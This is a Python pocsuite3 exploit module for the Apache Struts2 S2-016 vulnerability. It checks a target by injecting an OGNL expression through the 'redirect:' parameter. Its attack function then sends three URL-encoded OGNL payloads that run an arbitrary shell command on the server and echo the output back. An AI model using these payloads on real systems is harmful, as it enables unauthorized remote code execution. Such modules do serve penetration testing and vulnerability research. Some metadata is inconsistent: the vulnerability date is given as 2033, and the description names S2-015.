import random
from collections import OrderedDict
from urllib.parse import quote

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str


class DemoPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['knownsec.com']
    vulDate = '2033-11-15'
    createDate = '2023-11-15'
    updateDate = '2023-11-15'
    references = ['https://cwiki.apache.org/confluence/display/WW/S2-016']
    name = 'Apache Struts2 s2-016'
    appPowerLink = ''
    appName = 'Apache Struts2'
    appVersion = 'Struts 2.0.0 - Struts 2.3.15'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''S2-015:影响版本Struts 2.0.0 - Struts 2.3.15;'''
    samples = []
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString('', description="可执行的shell命令")
        return o

    def _verify(self):
        p = self._check()
        if p:
            return self.parse_output(p)

    def _check(self):
        result = {}
        num1 = random.randint(10000, 100000)
        num2 = random.randint(10000, 100000)
        check_poc = "redirect%3A%24%7B{num1}%2B{num2}%7D"
        poc = check_poc.format(num1=num1, num2=num2)
        r = requests.get(self.url + "?" + poc)
        nn = str(num1 + num2)
        if nn in r.url:
            result["VerifyInfo"] = {
                "URL": self.url,
                "PAYLOAD": poc
            }
            return result
        return False

    def _attack(self):
        result = {}
        p = self._check()
        if p:
            command = self.get_option("command")

            falg = random_str(10).lower()
            temp = "echo " + falg + ";"
            exec_payload1 = "redirect%3A%24%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B{cmd}%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader%20(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23matt%3D%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse')%2C%23matt.getWriter().println%20(%23e)%2C%23matt.getWriter().flush()%2C%23matt.getWriter().close()%7D"
            exec_payload2 = "redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22{cmd}%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D"
            exec_payload3 = r"redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27CMD%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27ENCODING%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}"

            payload1 = exec_payload1.format(cmd=quote(temp))
            html = requests.get(self.url + "?" + payload1).text.lower()
            if falg in html.lower():
                payload1 = exec_payload1.format(cmd=quote(command))
                html = requests.get(self.url + "?" + payload1).text
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "HTML": html.replace("\x00", "").encode()
                }

            payload2 = exec_payload2.format(cmd=quote(temp))
            html = requests.get(self.url + "?" + payload2).text.lower()
            if falg in html:
                payload2 = exec_payload2.format(cmd=quote(command))
                html = requests.get(self.url + "?" + payload2).text
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "HTML": html.replace("\x00", "").encode()
                }
            payload3 = exec_payload3.replace('CMD', quote(temp))
            html = requests.get(self.url + "?" + payload3).text.lower()
            if falg in html:
                payload3 = exec_payload3.replace('CMD', quote(command))
                html = requests.get(self.url + "?" + payload3).text
                result["VerifyInfo"] = {
                    "URL": self.url,
                    "HTML": html.replace("\x00", "").encode()
                }

        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(DemoPOC)
